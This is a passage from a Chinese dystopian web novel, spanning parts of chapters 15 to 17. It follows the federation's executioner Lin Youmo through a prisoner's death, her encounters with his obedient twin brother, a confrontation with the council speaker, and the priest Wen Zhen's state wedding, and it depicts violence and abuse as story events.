这个联邦社会有着足够扭曲的制度,残酷的阶级,和相当不近人情的严苛的法律,但是这个社会高度电子化,科技如此发达,拥有最高权限就相当于拥有了实际上的审判权。到哪都可以如入无人之地的林又茉并不该觉得哪里不好。 在林家所有人惨死之后,林又茉作为唯一的继任者,获得了大笔的财富,她本来不应该有任何不满。 本来不应该有任何不满的。 “林小姐……”佣人轻声唤她,眼神饱含担心。 “嗯。”她站起身。 穿着白色衣裙的林又茉站在庄园里的湖边,微垂着头看湖水,黑发被慢慢吹拂起,扫过她的手臂。 “神官的婚礼就在下个月,请柬已经被送过来了。” 佣人欲言又止。 作为这栋房子里最年长的佣人,经过这么多年,佣人对林又茉和神官之间的暗涌起伏,多少察觉到过一些蛛丝马迹。 林小姐真的对神官结婚的事情毫无所谓吗? 那为什么要在这里居住?这么多的深绿色,只是神官眼睛的颜色。 “请柬是谁送的?”她问。 佣人低声回答:“是议会长底下的人送来的。” 不是温臻送来的请柬。 堂堂大议会长亲自让人送邀请函,邀请她出席婚礼,只为了让她亲眼见证一项货物的所属权变更。 从来不属于她的东西,要被别人正大光明拥有。 林又茉知道这是威胁。 佣人看她脸色,小心道:“林小姐,每一任神官都得跟议会长结婚……是制度规定。” 神通广大的执刑官,也有无法改变的事情。 “我不会去。”林又茉说,“在这段时间,我会休假。” 她抬起眼,漆黑浓墨一般的眼睛对这个消息毫无反应。 她安静地离开,“我会离开都城,在这段期间,不需要找我。” 离开之前她站住脚步,“对了。” “嗯?” “最近,有明信片送来吗?” 佣人谨慎回答:“……没有。” “好了,我知道了。谢谢。” …… 而就在几天之后,许久没有收到红刀消息的林又茉,听到了一封轻飘飘的死讯。 15-20 第15章 林又茉垂眼看着他。 脆弱的人体。 她捏着他的喉咙,指腹隔着一层皮肤感受到他的动脉跳动。 虚弱的、轻微的。 她说:“烂礼物。” 红刀喉咙里发出无奈的笑,随着笑,鲜血从嘴角咳出来。 “别这么挑剔嘛。”他轻声说。 他的胸膛像破风箱,每说一个字,都拉扯着琴弦般,摩擦一遍声带。 “我都想好了,你看过极光吗,执刑官,在世界的尽头,地图的最南边,有一块小岛,有企鹅,我们可以白天狗拉雪橇,晚上烤企鹅,我听说,企鹅吃起来就像鸟……” “那是珍稀动物。”林又茉说。 “但你是执刑官。”红刀说。 林又茉停顿一会儿,顺着他的话说:“那只有我吃,你看着。” “好,我不吃,我向来不杀生。”红刀说。 说完,他自己没忍住笑。 但他一笑,牵着锁链,金属叮当作响,血咳出来越来越多。 “那边的雪屋,也很好看,我们可以拿猎.枪,两杆就够,自己打猎,打得到就煮了吃,打不到,就饿肚子,让你体会体会,下等人喝西北风的感受,你肯定没体会过……” “极光很漂亮,我没见过,但我听说,有的贵族会人为制造极光,就跟我们放烟花一样,但还是天然的好,对不对,执刑官,如果你想给我放,我也不介意……” 林又茉不明白他为什么这么折腾自己。 笑了一会儿,红刀笑累了,他的力气似乎又随着几句话消失,眼睫也半垂下去。 他的睫毛很长。 林又茉很少安静地注视他,红刀睫毛很卷,乌黑,像买回来的洋娃娃,垂下时,脸颊被撒上一层细密的阴影。 她想到,红刀比她大两岁而已。 “八角海星很丑。”她忽然说,“像怪物。” “是吗。”他声音轻不可闻。 “六角海星 ,倒还不赖。” 红刀慢慢哼了一声:“那是因为有人加工。” “要收费么?” “当然了。” “多少。” “五……个亿。” “真没有想象力。” “……”红刀这回真的被气笑了,睫毛颤颤抬起一些,最后喟叹,“真是,你们上层人。” 到最后也不放过嘲笑他的机会。 声线的尾音很轻,很飘,像下一刻就要融进黑暗里。 林又茉感受手指下他脖颈血管的跳动,知道他又一次滑向深渊。 而他那双失焦的眼看向她。 林又茉沉默了片刻。 “红刀。” 她又说:“红刀。” “……嗯。” 她垂着眼,看着他,他那双沾满血污的眼睛,那样跟她对视。 她知道他想让她做什么。 就像以往的默契一样,他们针锋相对,他们互相看不顺眼,但又像以往一样,一百次,一千次,读懂对方的心思。 脖子上维持生命的圆环,只要她动手取下来就可以停止这一切,这是执刑官的特权,她可以轻轻松松,在这一刻结束他的生命。 他想要死。 她说:“你知道我可以救你回来。” 最先进的医疗科技、最完善的生物技术,最有疗效的药物,对她来说只是一句话。如果林又茉想,他不会死,至少不会死在这一刻。 “我知道。”红刀过了一会儿说。 “你知道我也可以解决你的仇人。” “……我知道。” “E级还有向上爬的可能。” 红灯区可以增加信用点。当时的红刀戏谑地说如果给他机会他甚至可以爬到A级。 他也说:“我知道。” “那为什么?” 林又茉询问他。 她不明白。 她认识的红刀是幸存者,她冷静地、直白地、近乎残忍地想,如果想要活下去,在红灯区被成为别人的倡伎又怎么样?成为一样工具,换得活命的机会,这简直是再划算不过的交易。 她质疑他的决定。比起死亡,肉.体算什么?红刀不会在意这些。 她问:“为什么?” 红刀没有回答。 就在林又茉以为他不会回答时,他突然唇角轻微上翘,睫毛抬起,沾着亮晶晶的湿意,很温柔地笑出声。 “执刑官……你有洁癖啊。” 所以被人玩脏了,就不会再被她碰。 就是这么一个理由而已。 …… 林又茉手指一僵。 她难得,思维短暂地停滞了一瞬。 红刀看着她的表情,她黑眼睛里因为他而难得的顿挫,他忽然……感到高兴。他很想要笑起来,可是胸腔痛得难受,笑只会牵扯抽痛般的疼。可是他真的好想笑啊。 什么不熟的同事啊,他对执刑官来说,还是有些不一样的,不是吗? 她没有反驳他,因为他了解她,她不喜欢脏的东西,那脏了的他还有什么价值? 如果没有体会过快乐的话,他仍然可以忍受无尽的黑夜。 他是阴沟里的老鼠,看过漂亮的晨曦,就没有办法再回到他的下水道里去了。 是啊。 红刀想,这就是全部的原因了。 他的确有第二条路。从这里出去,从这里活下去,康复痊愈,从E级再慢慢爬到D级、C级、B级——爬回原来他的位子。跨越阶级的事情他不是第一次做,他知道最短路径,他可以轻轻松松再做一次。 他甚至还会有三五年的时间——在那些生物药剂的后遗症拖垮这具身体之前,只要他能够低头,能够做红灯区那些人的倡伎,做低贱的奴隶,为了活命一次,他能够做任何事情,小时候他可以为了活命烹食掉别人的尸体,长大后他可以为了活命不择手段杀掉所有人上位,这次不过是被人操,那又怎么样,执刑官说得没错,她果然是了解他的,这听起来就像他会干的事,对极了,如果没有认识她,他一定会这么做的。可惜——可惜,可惜…… 可惜。 红刀弯起眼,笑着的桃花眼泛起泪,他说:“杀了我吧。” 林又茉静止了。 她听到她太阳穴一胀一胀的声音,听到自己心跳的声音,听到她自己的呼吸声,就算在此刻,依然缓慢、绵长。 良久,她的手指顺着他的脖颈下滑,落到他脖子的圆环上。 绿灯正在闪烁着。 只要她按下去,权限干扰立刻生效,圆环报废,他的生命也将随之终结。 绿灯的跳跃越来越快,死亡的倒计时仿佛开始催促。红刀忽然觉得,他能看得格外清楚。他仰着脸望着她,在昏暗中,那张少女的脸从未如此清晰。 他从未后悔过,从未如此满足。 嘀,嘀,嘀—— 他说:“执刑官,林家的凶手——你要向上看,他们……” “砰!” 一颗子弹骤然射穿他的眉心,将一切戛然而止。 红刀的笑意定格了。 鲜血喷溅,洒上了林又茉的脸。 “——!” 林又茉倏地转身,她的手指还未触碰到圆环。她抬枪,朝身后猛然扣下扳机,开了一枪。 “砰!”更加猛烈的枪响,身后的人一声闷哼捂着手腕倒地。 枪嘭地一声摔在地上。 对红刀开枪的是那名黑面具的守卫。 守卫艰难开口:“执刑官,您听我解释!” “砰!”林又茉大步上前,嘭地给了他一巴掌,毫不间断地打中了他同一侧的肩膀,血花绽开。 “您听我解释,这不是您想的——” “砰!”又是一枪,子弹擦着脖子过去。 “您听我说——” 砰,砰,砰。一连串枪声。 林又茉暴虐地开枪,近乎将他打成筛子,精准避开一切重要的器官,她的枪口抵住他的面具。 “我听你解释。”她冷冰冰道。 林又茉大多数时候感受不到情感,她站在玻璃后面,观察她的同类,但此刻她感到愤怒。像有一团火从胃的底部烧上来,吞噬她,但她执枪的手依然平稳冷静。 “你杀了我要杀的人。”她把一切归于这个原因。 黑面具的守卫胸膛剧烈起伏,他像一块烂肉跪伏在那里,血液从他身下涌出,蔓延到林又茉的脚边。 他颤抖、痉挛、挣扎,像干渴的鱼,脊背发抖,他试图止血,试图缩成一团。 面具在不断的磨蹭之中松动,啪地,慢慢掉落下来。 林又茉踩上他受伤的肩膀,听到骨头碎裂的声音,听到他的惨哼,迫使他仰头。 “执刑官……” 面具下方,露出一张熟悉的脸。 一张精致的脸,一张布满汗水的脸,一张就算在极度痛苦中,也依然过于漂亮、妖媚的脸。 一张……跟红刀一模一样的脸。 “——”林又茉动作猛然顿住。 这个人,是红刀的弟弟。 在红灯区失散的弟弟,被母亲更加宠爱的弟弟,占据了他不幸的开端的弟弟。 那张照片里,跟红刀挤在一起的双胞胎弟弟。 “……他如果说了不该说的话,下场会比现在惨很多。” 长相完全一样的少年喉咙低哑,嘴角缓缓淌出鲜血,他机械地开口, “哥哥必须由我来杀,执刑官。” ** 林又茉维持着这个姿势不动。 她垂眼俯视那张熟悉又陌生的脸……她应该询问问题。 他的目的,他的来历,他的雇主,他知道的内情,他的指使者,在小时候跟红刀分开之后,他被谁收养、培养,跟自己哥哥站在明暗的两边,最后,甚至敢在她面前亲手杀了他。 她有太多的手段可以让人开口。 在过去的二十年内,她从没有违背过自己的秩序。她从没有一次,让不理智占据上风。 少年艰难地冷静地提出解决方案:“执刑官如果你需要,我可以替代哥哥——” 牢室内突兀响起一声枪响。 执刑官扔下枪,离开了。 牢室内。 一模一样的两个少年,一左一右栽倒在房间两侧的血泊中,死寂一片。 …… 不知道过了多久,铁门再次被人推开,几个人冲进来,扶起倒在门边的守卫,架上医疗仪器,注射药剂,将 人死亡边缘拉回来。 执刑官的枪偏离了心脏,没有杀他。 少年意识模糊,在搬运中,半阖着的眼望见的是牢室斑驳的天花板,而对面墙边的哥哥——他多少年没有说过一句话的再未谋面的双胞胎哥哥,垂着脑袋,死得彻底。 被他亲手杀死。 鲜血不断地从喉咙涌出,他感觉有冰凉的液体注入自己的脖颈,强涌的生机修复他的身体,让他有了开口说话的能力。 “队长。”手下的人喊他。 他盯向天花板:“我没事。” …… ** ** ** 都城的天气变化很快。 在即将步入夏天的时节,雨季轰然来临。 雷暴雨从不提前打招呼,阴雨连绵,冲刷地面,呼啸的狂风刮散叶子,无人机高悬,鲜艳的霓虹色在不断变换,映入地上的水泊,被人踩踏,溅出水花。 林又茉漫无目的地走在街上。 她没有打伞。 从监牢出来后,便一路走到这里。这个社会被制度严密规束着:交通信号灯精准运作,高空悬挂的警示标语井然有序,行人过马路时,信号灯甚至会根据她的公民等级自动切换为绿灯,变出笑脸,预祝她“林小姐,通行愉快”——人的阶级、社会的阶级分明,等级森严,一切都显得井然有序,人情被科技填补,灰色地带不存在,这是程序下的完美机器。 A级就是得利者,E级就是腐烂的泥沼,B、C、D级各行其是。她从没有觉得有什么不对。她是这个制度下的产物,理应为这架庞大冰冷的社会机器服役。 她突然意识到。 她是真真正正的刽子手。 林又茉身上的黑色学院制服被雨打湿,贴在身上,长直的黑发服帖地垂下,她在雨里行走,没有目的,没有想法,雷暴轰鸣在原处,闪电劈开天空,身侧的行人疾跑躲雨,闪避进车内,每个人有每个人的目的地,每个人有每个人的轨迹。如果一个人死了,治安署能列出这个人生平发生的每一条痕迹,用数据和数字解构他的一生,人死了,就像纸一样。 那她算什么? 那那些没有记录的人,算什么? 她不喜欢墓地,不喜欢墓碑,死亡对她来说毫无意义。林家人每一个人都死了,他们的死亡对她没有任何触动。 而红刀竟然为了这样一件微不足道的事付出生命,她觉得可笑,倒头来,他也没有那么了解她。 林又茉蹲下在草坪边,上次看见交.配的野猫生了一窝小猫,它们躲在警示牌下,瑟瑟发抖,即将冻死。 她毫无触动。 忽地,头顶覆下阴影,遮住了如注的雨水。 她慢慢抬起头。 是上次带她买面包咖啡的青年。 他是社区的志愿者,穿着栗色毛线背心,和浅色衬衫,面容局促。 他颤声道:“你……您没事吧?” 林又茉浑身的制服湿透,仰头看他。白皙沾血的脸上那双漆黑的眼睛毫无反应。 今天又是青年值日,他没想到,在他又做志愿者的这一天,又能遇见她。 她是执刑官,不是什么迷路的小女孩。 理智告诉他不应该瞎管闲事,青年咬住嘴唇,试图控制发抖的手:“你,执刑官,您没有打伞,有没有什么……有没有什么我可以帮您的?” 他害怕她。却克制不住关心她。 执刑官……就算是堂堂的执刑官,淋了雨,也会生病的吧? 他小心翼翼道:“您想的话,可以拿走我的伞,我、我家就在附近,我可以跑回去,不用很久,这把伞您可以拿走,不用还我……” “那我把这把伞,留在这……” 林又茉看着他一步三回头地离开。 她开口叫住他。 青年惊慌地站住脚步。 她问:“我想去你家。” ** 青年的家在一栋居民楼里。 青年是D级公民,出生在一个普通平凡的家里,按照社会给他的规划,未来他也会成为一个普通平凡的人。 他叮铃当啷烧水泡了茶,手忙脚乱地端出来。便宜的一居室狭小拥挤,虽然被他收拾得干干净净,但他仍然感到一股羞愧。执刑官是不是从来没进过这样廉价的房子? “执……执刑官,这是茉莉花茶,您请享用。呃——” 把托盘放下在茶几上,话脱口而出,青年才倏地反应过来。 执刑官的本名叫林又茉。 他给她端了茉莉花茶。 她不会觉得自己是在揶揄她……吧?! 青年涨红了脸,一下又抱起托盘:“对不起,对不起,是我没有考虑周全,我重新给您换一壶茶泡!马上就好,您不会等太久!” 青年飞一般逃进厨房。 林又茉没有阻止他。大多数时候,她只是注视,不会干涉。 她慢慢靠在沙发靠背上,垂下眼,打量这个房间。 很小的长方形房间,收拾得温馨,有生活气息。收纳各类书籍的书柜,扑了暖色桌布的茶几,插着鲜花的花瓶,窗台放着两盆绿茵野草,丝毫不挑环境,生机勃勃,长得茂盛,卯出了一种在哪都可以随便乱长的架势。 外面风雨飘摇。 沙发,布制的沙发。粗糙的布。 林又茉缓缓躺倒在沙发上,叠在一边的绒毯被她抱在怀里,她盯着天花板。 …… 等青年挑好茶叶,又急急忙忙地烧水、晾水、装壶、泡茶,慌里慌张地把一切料理妥当后,终于端着托盘走出来时。 “执刑官,抱歉您久等,找茶叶费了点劲,实在是不好意思,希望您没有等急——” 他忽地停住脚步。 客厅安静下来,窗帘被微风吹得轻轻飘动一角。 黑发少女蜷缩在不大的沙发上,抱着柔软的毛毯,侧卧着,已经睡着了。 青年喉结轻轻地滚动了一下。 他感觉心很快地跳动了一下,又软化成水。 轻手轻脚放下托盘,他走上前,小心翼翼地为她盖好毛毯,掖了掖。 她湿漉漉的黑发顺着肩膀披散而下,紧紧地抱着手里的毯子。 沉睡着的执刑官,看起来…… 也只像一个迷路的小女孩而已。 ** 林又茉做了一个梦。 她很少做梦。 这次,她梦到了温臻。 梦里的神官穿着白袍,暖洋洋的白袍在日光下晒出暖和的温度。他坐在花园里,温和地垂眼注视她。 他摸着她的脑袋,而她将头枕在他的腿上,他顺她的发,一下一下。 神殿的后花园阳光和煦,草长莺飞,蝴蝶轻柔地飞飞停停。 一切美好、宁静,就像小时候。 温臻那双眼,像温柔的绿湖,将她包围。 “……哥哥。” “嗯?” “哥哥。” “嗯。” “哥哥……” 温臻笑起来,抬起手,刚想问她出了什么事,却见膝上伏着的小女孩忽然抬起头。 她脸上茫然一片,漆黑的眼睛流出两道泪水。 他一怔。 她问:“哥哥……我是帮凶吗?” 我是帮凶吗? 我是刽子手——还是帮凶? 两只漆黑的眼睛流着眼泪,林又茉茫然无措,一遍又一遍重复喃喃:“我是这一切的帮凶吗?” 我是杀死他的刽子手吗? ** 风雨渐大。 风卷着雨丝斜着扫过,天还没有完全黑,昏黄的路灯光线忽明忽暗。 密织的雨线笼罩着不远处的廉价居民楼,破旧的警示牌是几十年前的产物,污水顺着沟壑流淌,排入下水道。这里住的人很少,许久没有经过一个行人。也或许,只是被人阻拦在了这一块区域之外。 雨要刮一夜,仿佛不会停歇。 一柄大伞立在楼下的雨中,劈开了雨线,雨落在伞面上,淅淅沥沥,顺着伞尖落下水珠。 白袍的衣角与这一切脏污格格不入,逐渐染上湿意。 “神官大人。”伞下,有人说话,惴惴不安, “您不该……在贫民区呆这么久。如果一旦被议会长发现, 您出来了的话……而且临近婚期……” 温臻抬起眼。 金发的白袍神官静静望着居民楼的那扇窗户。 心里淡淡的酸涩涌上来。 他闭上眼,手指在袖中攥进掌心。 他轻声说:“又茉。” 第16章 “您醒了吗?” 林又茉睁开眼睛时,映入眼帘的是老旧的天花板,一盏布艺灯散发出柔和的光芒。 窗外是白天,雨停了,轻柔的风吹鼓起窗帘,柔软的布料轻飘飘擦过地面。 窗台上两盆野草依然绿意盎然。 她慢慢坐起来。 头发已经干了,似乎被人细致地擦过,身上的外套被脱下了,剩下的是她自己白色的里衣。 “您里面的衣服……虽然湿了,我没敢帮您换。”青年局促地说道,他有些不好意思,还有些胆怯。 触及到林又茉的目光,他一惊,慌忙补充:“但您的制服外套我已经帮您手洗了,昨晚外头一直在下雨,湿气太重,外套一直没干,我就用吹风机一点点吹干了。您需要的话……现在已经可以穿了。” 没记错的话,学院的制服不能手洗。 不过林又茉依然说:“谢谢。” “什么谢谢……啊,我的意思是,您、您不用跟我这么客气的!能为您做事是我的荣幸,毕竟不是每天都能遇到您……不是,我的意思是我很高兴能给您……” 青年结结巴巴地脸红了,他刚有点手足无措,余光瞥到自己的围裙和手里的锅铲,一下惊慌地跳起来,“对了我做了早饭,您不嫌弃的话,要不要吃一点?” 他不报期待地问。 昨晚执刑官就睡在他家的沙发上,青年根本没法心安理得地睡床,于是找了张床垫在走廊打了一晚上地铺,当然,一夜无眠。 早上起来,他把衣服洗了,吹干,清洗料理食材,又忙忙碌碌做早饭,像个不知所措的陀螺。 他想着万一、万一执刑官想吃呢? 总不能让家里的客人饿肚子……虽然不知道执刑官会不会吃平民食物。 林又茉没有看他,她站起身,从滴水的窗沿外望出去。 破旧居民区的楼下只有冷冷清清的几个人,摆着不大的摊位,有一塔没一搭地揽客。 看起来很正常。 “楼下是小摊集市,卖一点我们这里的特产,您要感兴趣的话,我也可以为您买一些吃的……” 青年絮絮叨叨地说着介绍的话。 他小声讲着这里的人文、背景、历史,又说到联邦的政策。 “做了什么?” 青年一卡:“……呃?” 她转过头,安静地问:“你说了你做了早饭。做了什么?” ** 不大的圆桌上摆着香煎鸡蛋卷,培根土豆碎,蘑菇粥,可颂面包,还有一碟香喷喷的奶油可丽饼。 配了一杯热牛奶。 青年紧张地坐在一边,看着执刑官用餐。 少女把黑发松松地扎起来,穿着那身奶油白色木耳边的内搭,不紧不慢地用餐。 她垂着眼,动作优雅,仿佛坐在奢华餐厅内,而不是D级贫民区的一张二手塑料餐桌边。 青年不明白她为什么会留下来吃早餐,他内心始终有巨大的不真实的晕眩感。谁会相信A级公民的执刑官,传说中的只有在报纸上能看见的人物,就现在坐在他家的桌子边,吃他亲手做的饭? 他觉得自己在梦里。 不疾不徐地用完了早饭,林又茉才站起来。 青年连忙拿出她的外套。 “谢谢,很好吃。”林又茉道谢,她将一沓钞票压在桌上。 “不、您不用、这么客气……” 林又茉走向房门。 青年慌乱地跟上,为她拿鞋。他慌里慌张地为她开门:“欢迎您下次、任何您想的时候,都可以随时来,我随时为您……啊,这是谁?!” 打开门,门外跪着一个人。 青年的话吓得戛然而止。 林又茉垂下眼,好像早就知道了这个人等在这。 昨天监牢中重伤成血人的戴着黑色面具的守卫,此时单膝跪在门外,一动不动,像一具雕塑,一副听候她差遣的架势。 他像是已经等了一夜。 就算知道她已经醒了,让他在外等,守卫依旧没有敲门,而是沉默地等待。 林又茉并不意外,凉凉开口:“你打了生物药剂?” 昨天被她用枪打得血肉模糊,今天就生龙活虎完好如初。跟红刀在红灯区那一夜的情况一模一样。 “是的。”守卫回答。 林又茉:“那你在这里做什么。” 守卫垂头道:“我被送给您,供您差遣,现在我的性命和使用权都是您的。” 林又茉看了他几秒,对他这番话没作任何反应,她与呆在原地的青年告别,走出居民楼。 黑色面具守卫默然起身,隔着三步,悄无声息地跟在她身后,像影子一般。 “你叫什么?”行走在路上,林又茉问。 “绛刀。”守卫回答。 “谁派你来的?” “……” “谁给你打的生物药剂?” “……” “为什么要杀红刀?” “……” “红刀说,要‘往上看’的林家的凶手是谁?” “……” “你的任务是跟着我?” “我的任务是听从您的一切命令。” 林又茉偏头看向他:“除了回答我的问题。” 绛刀沉默了片刻,木然道:“除了那些我被禁止回答的问题,我会服从您的一切要求。” “包括我让你去死。” “包括您让我去死。” 林又茉停下脚步,他也听话地停在原地。 林又茉知道一些残忍的手段,可以把人的思维驯化成机器,需要从小开始进行大量的训练、训诫,就像巴甫洛夫和狗,把服从命令刻在脑袋里变成人的本能。 她小时候曾经参观过这样的地方。 她说:“摘掉面具。” 这是一条阴凉的巷子,D级贫民区附近没有什么好地方,空气中弥漫着机油、锈迹刺鼻的气味。巷口有不少人躲闪地投来目光。 绛刀顺从地打开卡扣,摘掉面具,露出一张和红刀几乎无异的脸。 黯淡的光线下,那张五官精致得近乎漂亮的脸孔冷白如瓷,不知有意无意,他们的头发长短也一样。 不过绛刀和他哥哥不同,他的一双眼睛低顺地垂着,宛如只会听从命令的机械木偶。 她说:“脱掉衣服。” 绛刃没有停顿,听命地抬起手解开上衣的扣子。少年身体年轻、青涩、纯情,手臂肩膀线条漂亮,他很快脱下上衣。 昨夜的枪伤尚未痊愈,身体各处皮肉泛着淡粉色的疤痕,如瓷器上的裂纹。 少年身形高挑,腰很窄,林又茉发现了他跟红刀不一样的地方。 在绛刃的桃花眼和锁骨下,各有三颗殷红的小痣。 点在白皙皮肤上,分外显眼。 让他那张毫无表情的脸凭白多出了几分柔弱与惹怜的意味。 或许这就是红灯区的母亲更偏爱他的理由。 但,林又茉并不关心他的童年遭遇。 “带刀了吗?” “是的。” 林又茉走上前,她从他腰侧摸出一把小刀。绛刃并没有反抗。 她抬手,冰冷的刀锋贴上少年的腰腹,缓慢上滑,带来一阵微妙的酥麻。绛刀的呼吸轻轻一顿。 他的身体显然很敏.感,仅是这样轻微的触碰,皮肤便艳丽地泛起了红,气息也逐渐紊乱,桃花眼的眼尾泛起了暧昧的红。 他低声道:“……执刑官。” 这点倒是和他哥哥如出一辙。林又茉冷淡地想。 刀尖停在了某一处。 她说:“刮掉。” 少年一顿,垂下眼,接过小 刀,抬手,径直剐掉了脸上和锁骨下那一块的皮肉。 那三颗殷红的小痣,就这样被挖去。 鲜血顺着绛刀漂亮的脸颊往下滴落,淌下胸膛,泛出妖艳的色彩。 他轻声说:“您满意么?” 林又茉冷眼看完这一切,失去兴趣般转过身,往巷口外走去。 绛刀在原地站了几秒,他睫毛轻垂,一言不发地捡起衣服穿上,跟上她的脚步。 红刀曾经为了他的弟弟去死,那么绛刀也可以剥离人格作为哥哥的替代品活着。 那些人弄坏她的玩具,又赔她一个新的。 不就是秉着这样的打算么? ** 都城,议会宫。 “执刑官!” “执刑官您不可以进去!执刑官!” “您得需要预约,议会长现在非常忙碌……” “议会长现在正在开重要的会议,事关联邦的政务,您不能就这样突然闯进去——” 黑发少女大步行走在走廊里,议会宫内兵荒马乱,人仰马翻,被她突然的出现折腾得措手不及。 林又茉面无表情,她手里握着一把刀,议会从来没有执刑官要大开杀戒该如何应对的应急方案,阻拦她的那些人不敢对她开枪,更不敢对她下手,只能绝望地高声喝止,企图唤起她的理智。 “滚开。”她冷冰冰回应。 嘭地一声,议会长办公室的门被踹开,精密的安保装置瞬间被【权限干扰】瓦解成废铁。 无数道黑洞洞的枪口指向她,红色的激光射线瞄准她,像无声的震慑。 “执刑官,不要冲动!”联邦治安署的警卫队长尖声警告。 “执刑官,您要是冲动行事,我们也有一百种办法可以跟您同归于尽——” 薛柏寒坐在办公桌后,早就知道她会来。 白袍金发的神官温臻原本静坐一旁,此刻忽然看到她,骤然起身,惊慌地道:“又茉……” “看来你很喜欢我的回礼,执刑官。” 办公桌后,高大的男人唇角勾起,他心情极好,语气轻慢而愉快,冷冷开口: “我早就提醒过你,挑衅我和我的家族会有代价。你只不过验证了我所说的话的结果。” 林又茉大步上前,刀锋已抵在薛柏寒的喉咙边缘——只要再进一丝,这个联邦的议会长便会血溅当场。 警卫们如临大敌,红色激光密密麻麻地对准她。 “红刀自己闯入的上一任议会长的私宅,偷阅资料,还威胁前任议会长的人身安全,这种严重的罪行,扣除3000点信用点是标准尺度。” “你是联邦法律的执刑官,你该明白我做出的判决公正无私,没有任何可以置喙的地方。” 薛柏寒微微一笑,笑意不达眼底,“别告诉我,你是为他来报私仇的。” “这不是你该做出的行为。” 少女的脸庞一片漠然。 林又茉想,薛柏寒说的没错。 他做出的判决毫无差错。而她无法用这个理由对他动手。 而她也并不是来对他动手的。 “没关系。”林又茉垂下眼,语气轻得几乎听不清,“我今天不是来杀你的,长官。” “不会是今天,不会是明天,也不会是后天。我希望你从今天开始一直睡个好觉,议会长,而在未来,某一天你的睡梦里,你会发现自己身首异处。” “然后那一刻你会记得,你曾经在这一分,这一秒,对我说过这样的话,让我变成了你的敌人。” 她退后一步,手里的刀也彬彬有礼地从他的喉咙处离开。 “如果没有什么事,我先回去了。如果您还记得的话,我还有一个漫长的假期要休。”她礼貌道, “再会,长官。” “又茉,等等,哥哥想跟你说……” 她头也不回地走了出去。 白袍神官急切追上,却只来得及看到她的衣角消失在走廊尽头。 厚重的大门,在他面前“砰”地一声合上。 她没有看他一眼。 温臻怔然地留在原地。 怎么会? 金发神官的心揪成一团,他感到呼吸急促,有些不能呼吸,长长的眼睫垂下,他不得不扶住一旁的门框,才没有被心脏泛起的痛楚折磨得无法站立。 又茉,为什么会…… 她甚至不再看他。 是他错了么? 而就在他呼吸刚平复一瞬的时候,忽地,一只大手抓住了他,温臻被嘭地重重抵在了墙上。 白袍神官淡金色的长发凌乱,深绿色的眼眸带着水雾,温臻果然是美人,他这样抿着唇颤抖凝视人时,只激起了人更深层的凌虐的欲.望。 “你……” 纤细白皙的脖颈被大掌钳制出红印。 “薛柏寒……”他恨恨地颤抖地出声。 薛柏寒冷冷地微笑:“怎么了,妻子?” 英俊的议会长大手扣住温臻的下巴,仿佛亲昵的情人一般摩挲,语气却令人寒意入骨:“看来你很失望,你最喜欢的小执刑官不愿意来参加我们的婚礼呢。” “你也听到了。她刚刚那样威胁我,显然已经不在乎你会成为我的所有物的事实,她对你被我如何对待都无所谓,一点不关心你这个悲惨人质的下场。” “被一心喜爱的人抛弃的感觉怎么样,神官大人?” “显然,比起你,她更喜欢那个死掉的玩具。”薛柏寒轻轻叹气出声,“她那么喜欢他,甚至都愿意跟我拔刀相向。” “——那你,抚养她长大的温臻,算什么?” 这句话仿佛是一道雷刑。 温臻开始剧烈地发抖,金发垂下,他的肩膀、脊背都在颤抖,他太抗拒他的触碰,咬住了唇,太过用力,都咬出了一道血痕。 薛柏寒把他的反应都看在眼里,眼底掠过一丝玩味的凉意。 “你该庆幸,我亲爱的妻子,我对把高高在上的神官玩成红灯区的奴隶没有兴趣。” “但如果你再违背我的意愿私自出门一次,就不一样了。” 说完,议会长重重松手,温臻被他近乎甩出去,白色的神官袍子翻飞,踉跄地撞到一边。 薛柏寒没有再看他,冷冷地大步离开。 “一周后就是婚礼,我不希望再看到任何岔子。” 温臻半伏在地上,他的身形颤抖,长长的睫毛垂下闭着眼,咬破的唇角溢出一抹殷红。 佣人惊慌地上前,高呼着医生。 许久,他慢慢睁开眼。 带着水雾的深绿色的眼睛盯着地毯,温臻感到冰凉的泪顺着脸颊流淌。 又茉……又茉。 他不能再这样下去了。 第17章 神官与议会长的婚礼,被称为“世纪婚礼”。 每一任议会长,都要跟神官温家最负盛名的那一名神官结婚。 这是写进联邦法典的一部分,也是政治与信仰结合、社会稳定的象征。 人们热爱温臻,迷恋他,崇拜他,从婚礼宣布开始民间就已经举行了大量的庆祝活动。 婚礼现场会被全联邦直播,而所有的A级公民,以及少部分信用点高的B级公民,都会骄傲地盛装出席,毕竟能亲眼见证这场仪式,被视为一种莫大的荣耀。 联邦历320年,6月20日,仲夏节前日。 当天,神官温臻身穿纯白礼袍出现在公众视野中。 他浅金色的长发明亮、柔顺,深绿色眼睛平和,唇色微白,他将手顺从地递给一旁的议会长,像是被安放在祭坛上的神像,圣洁、温驯、纯洁,完美地像一块白玉,毫无瑕疵。 他被狂热的民众叫做“联邦之妻”。 人们对那场婚礼赞不绝口,他们回忆着婚礼当天场面的盛大,神官的美貌,沉浸在庆典刚刚落幕般的喜悦中。 无数信徒珍藏着神官的画像,前往各地教堂虔诚祈祷,信仰的热忱达到了前所未有的高度。 这会是载入史册的一场婚礼。 ** 一个月后。 联邦南洋,某处海岛。 “大哥,真的不能再便宜了啊。” “不可能。” “怎么不可能?你四处问问人 家都是什么价格。” 港口处熙熙攘攘,人声鼎沸,这里是联邦有名的夏日度假地,人们在夏季海水一般涌来,成为季候性寄居生物。 但今天似乎不一样。 海岛的高耸教堂前忽然一片乱哄哄,有不少愤怒的公民集体涌过去,朝着教堂的围墙扔着什么,嘴里不干不净地辱骂肮脏的词汇。 “荡夫!”“俵子!”“贱货!” 黑发疤脸青年皱眉扫了一眼,以为是什么新的抗议游行。 什么事能闹到教堂?字词那么难听,他还以为回到了都城红灯区。 他没在意,点着烟转回自己半张疤脸,继续跟小贩扯皮:“这橄榄油岛那边才三分之一价,给我再便宜点,下次还照顾你生意。” 小贩翻白眼:“别搞错了,人家私人岛一年就榨那么点,我能给你留点货不错了。” “我都是老主顾了。” “老主顾也不行。” “算了那这样吧,你再送我这俩八角海星,我朋友刚死,我顺手给他烧过去……” 黑发青年刚开口,余光瞥到不远处码头的一艘船上的身影。 他如遭雷劈一般愣住了,连烟烧到手指都没发觉。 “大哥?” “……操。” 黑发青年骂了声,把烟头踩进脚边的沙子,头都不回地就追了过去。 “红刀?——红刀?!” 他大步跑上码头岸边,边跑边高声叫喊。 快船驶离港口,马达声嗡鸣,激起一片水花,他的喊声被甩在风里,逐渐被淹没。 船只似乎没有听到他的呼喊,只是越驶越远。 “红刀——你小子不是他妈的死了吗?!” 